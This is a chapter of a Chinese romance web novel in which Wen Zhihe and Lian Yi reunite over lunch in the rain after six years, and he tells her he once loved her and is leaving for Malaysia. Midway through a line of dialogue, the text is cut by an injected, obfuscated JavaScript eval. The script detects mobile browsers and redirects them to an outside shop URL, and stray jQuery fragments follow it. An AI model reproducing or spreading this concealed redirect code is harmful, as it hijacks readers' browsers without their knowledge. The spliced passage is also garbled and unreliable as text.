她提前了两个小时到，他居然也这么早。


    从这里看过去是他的侧影，撑着一把黑色的大伞，眺望着雨点散落的辽阔湖面。轮廓线条清俊，也许是因为视线微微垂着，显得有些漫不经心。


    黑伞。黑衣。蒙蒙的烟雨里，整个人的色调就那么简单。唯有左耳下的那抹赤色鲜活。


    他相貌本就出众，气质也清冽，站在那里，周围人有不少打量的。但没人敢上前。


    温知和想着，按一般的社交礼貌，约定是几点，就该是几点，即使提前到了也未必就意味着应当提前去打招呼——因为摸不准对方在这段空档里是不是有别的安排。


    脑袋里这么想着，脚下却早就动了，踏着雨，穿过人群，朝他走过去。


    他一向敏锐。


    她还没到他面前，他便已察觉到脚步声，眼睛微微一动，看了过来。


    那是一双极锐利的眼睛。也很漂亮。


    视线不偏不倚地落在她身上。


    温知和脚步一顿，“……嗨。”


    “……”


    身后有一群小孩子跑过去，有点推搡，她不得已往前走了几步。红伞微微倾斜，落下来好多水。


    温知和道，“你也这么早啊。”


    他说，“等人。”


    很悠缓的两个字。他的声音，前几天也不是没听过，但那时没一句是对着她说的。


    六年。这是隔了六年，两个人第一次说上话。


    温知和道，“你这会儿还有别的约？那我先去吃个午饭，待会见。”


    “吃什么？”


    “呃……麦当劳吧。”


    “那家？”


    他朝不远处商铺街上的麦当劳抬了抬下巴。店门大开着，用餐、躲雨的人相当多，蚊子都不一定挤得进去。


    温知和道，“外面也有。就是远一点。”


    他偏着头想了些什么。“以前附近有一家杭菜馆子。”


    “……叫什么？”


    “忘了。不过我记得位置。”


    “噢……”


    “走吧。”


    一来一去的对话里好像一直有哪里对不上。温知和终于觉得不对劲。“……你也去？”


    “不可以么？”


    “你不是在等人吗？”


    他望她一眼笑了笑，继而看向黑伞边缘绵密下落的雨珠。有点懒洋洋的。


    “你以为是等谁啊。”


    -


    从东湖公园里出去，大街小巷绕了几圈，两个人最终停在一处新街口。马路是近几年修的黑色柏油路，车流闪着灯驶过，相当平稳。路边的商铺、小区也是新的，沿街栽着梧桐树，绿影森森。


    温知和不熟悉这一带，看来看去，只觉得没见到饭馆。看向身边人，他望着这条街，目光如一条幽幽的河，从街头流向街尾。


    他说，“看来也没有了。”


    “可能搬家了吧。”


    “不找了。不是想吃麦当劳吗？来的路上有一家。”


    温知和半天没动，就这么隔着雨幕盯着他。虽然他比她高了不少，但她站在台阶上。雨水从台阶边沿滑落，从她流向他。


    她脸上没有妆，两个不成眠的夜晚留下的痕迹清晰可见。仍是漂亮的，但是苍白。


    他从伞下迎着她的视线。“怎么了？”


    温知和道，“人不应该跟陌生人一起吃饭。”


    “是么？”


    “你说，连名字都不知道，算不算陌生人？”


    他望着她笑了笑，视线一低，不知想起什么。旋即他又抬起眼，竟向她伸出手来。“连易。”


    他的手很好看，骨节分明，蕴藏着力量。


    ……曾经揽在她后腰上，用以增加亲吻时的力道。她用指尖触碰过的那些细密伤痕，也仍在他锁骨前的皮肤上。


    温知和抿着嘴移开视线，刻意不去握手，自己跳下了台阶。“麦当劳在哪儿？”


    他很自然地把手收了回去，“这边。”


    -


    连易。


    ……连易。


    怪不得他的微信名是LY。


    温知和总觉得自己在什么地方也见到过这个名字。


    雨一直在下，地上湿漉漉的。伞上的水声没停过，小而绵密的是雨，大而间断的是头顶上空梧桐叶掉下来的积水。


    两个人一前一后地走着，一直没说话，距离在半米边缘浮动。恰到好处，各自的伞不会打架。


    温知和有时抬起头来，注视着身前人的背影。他的变化实在不大，只看背影，更是与六年前几乎重合在一起。好像时间打了个结。上一秒还走在炎日照耀海风吹拂的轮船走廊，晃晃悠悠的，下一秒，一步踏空，走进了淮市的烟雨。


    马路上有快车驶过，伴着哗啦的水声，身前人也停了脚步。


    “到了。”


    “噢。”


    他收了伞。那是一把黑色的长柄伞，形态细长，轻易便能塞进店门口架子上专供雨伞用的塑料袋里。


    她用的却是一把红色折叠伞，有点粗重，塑料袋开口又小。为了努力把伞塞进去，她沾了一手的水。


    还没塞进去。塑料袋倒是划破了一个口。


    “……”


    一只修长的手伸过来，也没说什么就把伞拿走了，下一秒，它掉进他手上的塑料袋里，乖得不像话。


    他把红伞还给她。“吃什么？”


    “看看再说。”


    店里没什么人，几排客桌都是空的，只有两个在麦当劳兼职的大学生在柜台后面低着头玩手机。


    她要了一份套餐，他和她点的一样。两个人找了个窗边的位置。


    她埋头就开始吃，他倒是没动。


    只是看着她。


    温知和咬着汉堡，一口，一口，越来越慢。盯着桌子看，视野却开始模糊。好像外面的雨下到了眼睛里。


    她听见他的声音。


    “这些年好么？”


    她把嘴里的食物咽下去，不说话。咬了一口新的。有点酸，也许是里面的酱。麦当劳的塑料桌子是米白色，能反一点光，有对面的人模糊的影子。


    影子动了一下，他靠在椅子上，又远了一点。


    他说，“欧阳老师说你还在读书，而且读得很好，一直在拿奖学金。”


    “……”


    “她还说你很喜欢一家法式餐厅。”


    “……”


    “马修成也提过一些。你有一个关系很好的家里长辈，为了应付，和他吃过一次饭，逛过一次公园。你前几周还去过一次同学聚会，但话并不多。”他顿了顿，“这就是我知道的全部了。”


    “……”


    他把声音放轻，“不打算和我说话么？”


    温知和慢慢吞下最后一块汉堡，折好装汉堡的纸放在托盘里，又拿纸把手擦干净。然后，拿过一杯可乐，纸杯外细密的水珠将指尖打湿，有一种冰凉。


    她开口时声音很低，与此同时，他也恰好说了一句话。


    “你……”


    ——为什么六年杳无音讯？


    然而她没说完，因为他那句话是，“我明天晚上的飞机。”


    她愕然抬头。


    对面的人仍是平静神色。同她一样，他手里捧着可乐，但那半边桌子上的食物纹丝未动，好像可有可无的装饰品。


    他说，“你刚才要说什么？”


    “你刚才的话是什么意思？”


    “我明天回马来西亚。”


    “你一直在马来？”


    “也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14267257|147201||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不算吧。到处走走，到处看看，时不时回去一趟而已。”


    “噢，环球旅行？”


    “算是。”


    “……很逍遥嘛。”


    他笑了笑，“也许吧。”


    温知和低头喝着可乐。冰凉的液体流进咽喉，却好像成了膨胀物，嗓子堵着，心堵着。大雨在外面，他在对面。可雨听上去很近，而他很远。


    她抬起头来看着他，刻意控制了语气。“既然明天就要走，干嘛今天来见我？”


    她的心提了起来，时间好像变慢，可这电影般的刹那被庸常的吵闹声划破。麦当劳的大门从外面被推开，几对家长带着孩子进来，抱怨着，叫嚷着，空空荡荡的门店一下子被声音挤满了。


    还有不到桌子高的小孩从她手边的过道哒哒哒地跑过去，兴奋地占领不远处靠窗边最好的位置，朝同伴高声呼喊。


    这种过了头的热闹，像是把近似摊牌的凝固时刻拉回了现实里。一切都不过是生活。


    对面的人显然也受了影响，目光几次瞥到吵闹声的来源处。他抬起自己那瓶可乐，在手里晃了晃，又放了下来，没喝。


    然后他说，“因为我爱过你。”


    谈吐间的语气太寻常。寻常到温知和隔了两秒，才反应过来他说了什么。如此吵嚷的环境，如此寻常的语气，好像只是在谈论外面一直不停的大雨。


    她不免有些错愕。


    这次相见，于她而言是个不小的坎。从找别人要他的联系方式开始，每一步都走得很郑重，仿佛每一步都是个里程碑，走过了，还要专门画个纪念。


    她以为把话挑明说开的时候，会是这漫长的“严阵以待”迎来最高浪潮的时刻。她想过会不会冷场，想过会不会刺痛。


    但她没有想过会这么平静。


    那个日思夜想的人就坐在对面，看上去和从前没有什么分别。他脸上的神色近乎明证。左耳下的赤红色隐隐在带着雨雾的日光里闪烁，像天上的远星。


    她始终没有放下的一切，在他那里，好像已经是过去的一件事了。


    翻了篇。不管曾经有过怎样的悸动、牵念，有过多少刀枪剑雨的危机、无与伦比的信任，抑或是懊悔、伤感，它们也许还在，并未从记忆里消失——但都不作数了。它们只是……一些从前发生过的事情。


    ——“因为我爱过你。”


    一个过字。仅此而已。六年其实很长的。


    奇怪。也许是因为他太平静，温知和的心里也安静下去。


    她又喝了一口可乐。然后笑了笑。“这样啊。”


    “嗯。”


    “那，我们也算老朋友吧？”


    他嗯了一声。


    她抬眼笑。“是老朋友就不要那么生分了吧。这些年怎么样？你先说。”


    “是我先问的。”


    “你不知道你的老朋友很不讲理吗？”


    “也是。”


    他不知想起什么，眼睛抬起来，看向旁边的玻璃窗户。绵密的雨线倾斜着从外面划过，让映在表面的影子显得支离破碎。


    他说，“奇怪。”


    “怎么了？”


    “我以为每天有很多事发生，但刚才一回想，好像也就那么回事。”


    “怎么回事？”


    “到处走走，到处看看，时不时回一趟马来西亚。就这样。就这么简单。”


    “这是说过的，”温知和把桌上的纸巾团起来朝他丢过去。“耍懒呢？”


    他没躲。反正，她扔不准。


    她身体前倾，一手支着脸颊，一手晃着可乐。闲聊的姿态。


    “连易。”


    她第一次叫出他的名字。可是那么轻易，那么没有仪式感。


    她很轻地说，“告诉我吧。”